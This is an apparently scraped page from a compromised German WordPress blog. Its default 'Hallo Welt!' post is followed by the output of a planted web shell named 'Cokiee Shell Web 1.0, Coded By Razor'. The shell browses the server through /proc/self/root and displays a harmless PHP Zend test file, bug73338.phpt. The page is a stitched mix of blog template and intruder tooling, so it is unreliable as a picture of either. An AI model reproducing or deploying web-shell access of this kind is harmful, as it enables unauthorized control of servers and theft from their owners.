Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/bug73338.phpt |
--TEST-- Bug #73338: Ensure exceptions in function init opcodes are cleaned properly --FILE-- <?php try { call_user_func(new class { function __destruct () { throw new Error; } }); } catch (Error $e) {} set_error_handler(function() { throw new Error; }); try { var_dump(new stdClass, call_user_func("fail")); } catch (Error $e) {} try { (function() { call_user_func("fail"); })(); } catch (Error $e) {} try { [new class { static function foo() {} function __destruct () { throw new Error; } }, "foo"](); } catch (Error $e) {} ?> --EXPECTF-- Warning: call_user_func() expects parameter 1 to be a valid callback, no array or string given in %s on line %d
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare